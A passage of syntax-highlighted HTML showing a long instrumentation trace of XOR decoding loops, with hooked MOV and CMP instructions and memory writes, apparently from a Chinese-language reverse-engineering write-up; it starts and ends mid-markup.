class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1001639]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1001639]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x3F</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x0100110e: mov esi, <span class="number">0</span>x16</span><br><span class="line"><span class="selector-attr">[XOR @0x1001122]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01001128: cmp esi, <span class="number">0</span>x2d</span><br><span class="line"><span class="selector-attr">[XOR @0x1001122]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1001122]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1001122]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1001122]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1001122]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001122]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001122]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1001122]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1001122]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1001122]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001122]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1001122]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1001122]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001122]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1001122]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001122]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1001122]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1001122]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1001122]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1001122]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001122]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1001122]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x16</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000683: mov esi, <span class="number">0</span>x2b</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x0100069d: cmp esi, <span class="number">0</span>x57</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f39]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f3a]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f3b]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3b ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f3c]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3c ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f3d]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3d ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f3e]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3e ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f3f]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3f ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f40]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f40 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f41]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f41 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f42]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f42 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f43]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f43 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f44]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f44 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f45]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f45 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f46]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f46 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f47]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f47 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f48]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f48 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f49]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f49 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f4a]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f4a ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000697]</span> MEM<span class="selector-attr">[0x2003f4b]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f4b ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x4C</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x010012e0: mov esi, <span class="number">0</span>x20</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x010012fc: cmp esi, <span class="number">0</span>x41</span><br><span class="line"><span class="selector-attr">[XOR @0x10012f6]</span> MEM<span 